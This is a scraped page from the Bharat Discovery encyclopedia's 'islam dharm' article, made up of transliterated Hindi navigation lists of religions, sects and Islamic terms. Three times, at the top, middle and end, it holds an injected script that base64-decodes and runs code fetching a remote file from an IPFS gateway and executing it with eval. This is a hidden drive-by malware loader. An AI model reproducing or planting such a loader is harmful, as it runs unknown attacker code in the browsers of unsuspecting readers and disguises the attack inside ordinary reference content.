<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
dharm, mazahab aur sanpraday
hindoo dharm · islam dharm · jain dharm · bauddh dharm · parasi dharm · eesaee dharm · sikkh dharm · yahoodi dharm · vaidik dharm · nimbark sanpraday · vaishnav sampraday · vallabh sanpraday · brahmasamaj · sakhibhav sanpraday · madhv sampraday · pashupat · kabirapanth · chaitany sampraday · panchasakha sampraday · varakari sampraday · kashmiri shaiv sampraday · dadoopanth · radha svami satsang · radhavallabh sampraday · vaishnav andolan · malang · shakt · lakulish sampraday · virashaiv sampraday · nath sampraday · ramkrishna mishan · aankadhari sanpraday · pushtimarg · kanaphata yogi · tenkalai sampraday · shaiv sampraday · firadausi silasila · qalandariya · soofi mat · aghorapanth · kapalik sampraday · brahmavidyasamaj · dashanami sannyasi · udasi sampraday · ramavat sampraday · vamamarg · kam diya panth · chishti sampraday · dattatrey sampraday · bharatadharmamahamandal · paancharatr mat · pranami (parinami) sampraday · shuddhadvaitavad sampraday · ekadandi · niranjani sampraday · prarthana samaj · ary samaj · saur sampraday · smart sampraday · bhagavat sampraday · pakhandamat · eesaee mishanari · dahiriya · dhami sampraday · adi brahmasamaj · samajik-dharmik sudhar andolan · ajivik sampraday · ramasanehi sampraday · nirmal sanpraday · sthanakavasi · naqshabandiya · namadhari sikkh sanpraday · bahaee sampraday · bavaripanth · raseshvar · vadakalai sanpraday · ganapaty sanpraday · tamil shaiv · tao dharm · sanatan dharm · dashanami sannyasi · avadhoot · asanshayavad · ary dharm · sanamahi dharm · ekasharan dharm · soofivad · ganapaty · guhy samaj · thiyos aauphikal sosayati

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dekhean • varta • badalean
islam dharm
samany parichay
allah · ayat · adam · khalifa umar · islam dharm · quran · khadija · namaz · nooh · fana · farishta · bismillah · musalaman · moosa · soofi mat · yoosuf · sunni · sunna · shiya · shaitan · haj · hijari · urs · kadiri silasila · firadausi silasila · chishti sampraday · imam · mahadavi sampraday · suharavardiya · qalandariya · sulah kul · naqshabandiya · fitna · fiqh · hadis · khalifa · zakat · bohara · khutba · khoja jati · jahiliya · faqir · muazzin · shafiya · juma · mulla · dahiriya · maulid · madarasa · buraq · tasbih · muslim tithipatr · ahle kitab · yajooj aur majooj · kisvat · kashf · khvaja · qurabani · roza · qayamat · bidat · soora · quran soorat · tauhid · azan · muajzan · ismail · eedagah · kandoori · auliya · qarbala · khuda · kazi · qarooan · kalama · khaki · khalik · janamaz · jihad · tabaq · tilaq · tija · daha · nikah · dozakh · duladul · fatava · mujavar · vaju · sachaq · sijada · sipara · hanaphi · analahak · aboobakr khalipha · aboo hanifa · umar bin khattab · soofivad
dharm pravartak aur sant
parv aur tyohar
mahinoan ke nam
daragah aur masjid
any

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=इस्लाम_धर्म&oldid=612606"